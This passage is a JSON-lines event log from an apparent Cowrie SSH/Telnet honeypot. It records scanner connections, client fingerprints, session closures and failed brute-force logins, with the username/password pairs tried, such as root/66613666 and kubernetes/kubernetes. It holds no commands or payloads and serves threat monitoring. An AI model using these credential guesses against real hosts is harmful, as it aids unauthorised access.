{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:03.273268Z","src_ip":"147.45.197.250","session":"d222a48499cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66613666","message":"login attempt [root/66613666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:03.555319Z","src_ip":"147.45.197.250","session":"d222a48499cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:04.651577Z","src_ip":"147.45.197.250","session":"d222a48499cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55370,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9ac206d1f0d","protocol":"ssh","message":"New connection: 31.40.204.166:55370 (159.203.135.109:22) [session: a9ac206d1f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:07.882287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:07.886994Z","src_ip":"31.40.204.166","session":"a9ac206d1f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:08.018084Z","src_ip":"31.40.204.166","session":"a9ac206d1f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91267204284668,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:08.466919Z","src_ip":"152.42.224.71","session":"4f5a6eb5219d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:08.693547Z","src_ip":"31.40.204.166","session":"a9ac206d1f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.2125084400177,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:08.800494Z","src_ip":"152.42.224.71","session":"7d36ca796526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:10.012633Z","src_ip":"31.40.204.166","session":"a9ac206d1f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33534,"dst_ip":"10.17.0.5","dst_port":23,"session":"96bffece168c","protocol":"telnet","message":"New connection: 152.42.224.71:33534 (10.17.0.5:23) [session: 96bffece168c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:10.070650Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33540,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68a99a1ab67","protocol":"telnet","message":"New connection: 152.42.224.71:33540 (10.17.0.5:23) [session: f68a99a1ab67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:10.078066Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42078,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc3d59e2291","protocol":"ssh","message":"New connection: 31.40.204.166:42078 (159.203.135.109:22) [session: cdc3d59e2291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:19.485934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:19.492511Z","src_ip":"31.40.204.166","session":"cdc3d59e2291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:19.619584Z","src_ip":"31.40.204.166","session":"cdc3d59e2291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":56238,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b1afb0b24fc","protocol":"ssh","message":"New connection: 47.237.167.49:56238 (159.203.135.109:22) [session: 2b1afb0b24fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:20.146857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:20.152228Z","src_ip":"47.237.167.49","session":"2b1afb0b24fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:20.385293Z","src_ip":"47.237.167.49","session":"2b1afb0b24fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:20.523442Z","src_ip":"31.40.204.166","session":"cdc3d59e2291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55690,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69a6009aba4","protocol":"telnet","message":"New connection: 152.42.224.71:55690 (10.17.0.5:23) [session: e69a6009aba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:21.081942Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:21.350943Z","src_ip":"47.237.167.49","session":"2b1afb0b24fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:21.711623Z","src_ip":"31.40.204.166","session":"cdc3d59e2291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.33240509033203,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:22.431044Z","src_ip":"152.42.224.71","session":"cc2e5c76708b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:22.585528Z","src_ip":"47.237.167.49","session":"2b1afb0b24fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.30191159248352,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:22.839620Z","src_ip":"152.42.224.71","session":"eb8fa44b7731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55702,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e38c533c47e","protocol":"telnet","message":"New connection: 152.42.224.71:55702 (10.17.0.5:23) [session: 9e38c533c47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:23.123228Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55716,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c73e2959bb6","protocol":"telnet","message":"New connection: 152.42.224.71:55716 (10.17.0.5:23) [session: 3c73e2959bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:24.179226Z"}
{"eventid":"cowrie.session.closed","duration":37.2578706741333,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:24.307956Z","src_ip":"152.42.224.71","session":"77e38482c51e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57229518890381,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:25.618383Z","src_ip":"152.42.224.71","session":"6b805a213f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52382,"dst_ip":"159.203.135.109","dst_port":22,"session":"e53aaaa03705","protocol":"ssh","message":"New connection: 31.40.204.166:52382 (159.203.135.109:22) [session: e53aaaa03705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:31.319615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:31.397922Z","src_ip":"31.40.204.166","session":"e53aaaa03705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:31.509665Z","src_ip":"31.40.204.166","session":"e53aaaa03705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58820,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dfbffc2d5fa","protocol":"telnet","message":"New connection: 152.42.224.71:58820 (10.17.0.5:23) [session: 3dfbffc2d5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:31.805773Z"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:32.084357Z","src_ip":"31.40.204.166","session":"e53aaaa03705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:33.315707Z","src_ip":"31.40.204.166","session":"e53aaaa03705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.13774275779724,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:34.611156Z","src_ip":"152.42.224.71","session":"827ae8d303b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34428,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d345bc5a7c2","protocol":"telnet","message":"New connection: 152.42.224.71:34428 (10.17.0.5:23) [session: 8d345bc5a7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:36.228854Z"}
{"eventid":"cowrie.session.closed","duration":32.40058255195618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:42.478564Z","src_ip":"152.42.224.71","session":"f68a99a1ab67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34436,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e0ae440ada","protocol":"telnet","message":"New connection: 152.42.224.71:34436 (10.17.0.5:23) [session: 02e0ae440ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:43.055337Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51764,"dst_ip":"159.203.135.109","dst_port":22,"session":"07328c163856","protocol":"ssh","message":"New connection: 31.40.204.166:51764 (159.203.135.109:22) [session: 07328c163856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:43.782134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:43.794746Z","src_ip":"31.40.204.166","session":"07328c163856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:43.979487Z","src_ip":"31.40.204.166","session":"07328c163856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:44.524638Z","src_ip":"31.40.204.166","session":"07328c163856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.8247606754303,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:44.586821Z","src_ip":"152.42.224.71","session":"c3c99590c223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34446,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf4918e0216","protocol":"telnet","message":"New connection: 152.42.224.71:34446 (10.17.0.5:23) [session: dbf4918e0216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:45.052861Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:45.686617Z","src_ip":"31.40.204.166","session":"07328c163856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":48720,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a62f10a2ee","protocol":"ssh","message":"New connection: 47.237.167.49:48720 (159.203.135.109:22) [session: e9a62f10a2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:53.163587Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"086ee3002a2b","protocol":"telnet","message":"New connection: 152.42.224.71:45442 (10.17.0.5:23) [session: 086ee3002a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:54.890436Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35390,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cbf35d776a9","protocol":"ssh","message":"New connection: 31.40.204.166:35390 (159.203.135.109:22) [session: 7cbf35d776a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:56.334509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:56.380141Z","src_ip":"31.40.204.166","session":"7cbf35d776a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-